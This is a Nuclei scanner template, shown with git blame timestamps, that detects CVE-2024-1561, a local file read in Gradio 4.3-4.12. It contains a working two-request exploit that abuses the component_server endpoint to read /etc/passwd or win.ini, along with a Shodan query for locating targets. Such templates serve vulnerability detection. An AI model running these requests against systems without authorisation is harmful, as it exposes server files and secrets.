nuclei-templates/http/cves/2024/CVE-2024-1561.yaml

81 lines
2.4 KiB
YAML
Raw Normal View History

2024-05-14 17:01:40 +00:00
id: CVE-2024-1561
info:
2024-06-15 07:20:50 +00:00
name: Gradio 4.3-4.12 - Local File Read
author: nvn1729,Diablo
2024-05-14 17:01:40 +00:00
severity: high
description: |
2024-06-15 07:20:50 +00:00
Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12
2024-05-14 17:01:40 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to read files on the server
remediation: |
Update to Gradio 4.13.0
reference:
- https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
- https://github.com/DiabloHTB/CVE-2024-1561
- https://nvd.nist.gov/vuln/detail/CVE-2024-1561
- https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
2024-05-31 19:23:20 +00:00
- https://www.gradio.app/changelog#4-13-0
- https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
2024-05-14 17:01:40 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-1561
cwe-id: CWE-29
2024-05-31 19:23:20 +00:00
epss-score: 0.00087
epss-percentile: 0.36659
2024-09-10 08:22:50 +00:00
cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
2024-05-14 17:01:40 +00:00
metadata:
verified: true
max-request: 2
2024-05-14 17:01:40 +00:00
shodan-query: html:"__gradio_mode__"
2024-09-10 08:22:50 +00:00
product: gradio
vendor: gradio_project
2024-05-15 06:16:08 +00:00
tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr
2024-05-14 17:01:40 +00:00
http:
- raw:
- |
POST /component_server HTTP/1.1
2024-05-14 17:01:40 +00:00
Host: {{Hostname}}
Content-Type: application/json
2024-05-14 17:01:40 +00:00
{"component_id": "1", "data": "{{path}}", "fn_name": "move_resource_to_block_cache", "session_hash": "aaaaaaaaaaa"}
2024-05-14 17:01:40 +00:00
2024-05-14 17:05:12 +00:00
- |
GET /file={{download_path}} HTTP/1.1
2024-05-14 17:01:40 +00:00
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: download_path
2024-05-14 17:01:40 +00:00
internal: true
group: 1
regex:
- "\"?([^\"]+)"
2024-05-14 17:01:40 +00:00
payloads:
path:
- c:\\windows\\win.ini
- /etc/passwd
2024-05-14 17:01:40 +00:00
stop-at-first-match: true
matchers-condition: and
2024-05-14 17:01:40 +00:00
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
- type: word
part: content_type
words:
- "text/plain"
- type: status
status:
- 200
2024-09-12 05:14:01 +00:00
# digest: 4a0a004730450220583706659bff0e1bcc364f32c900244fe4769e462b909aa9fe2bd4a4c1129fdf022100a4157526fd83ad78b0d1491ec82241bfcd8c707b59709e9920863d8c0de4aba2:922c64590222798bb761d5b6d8e72950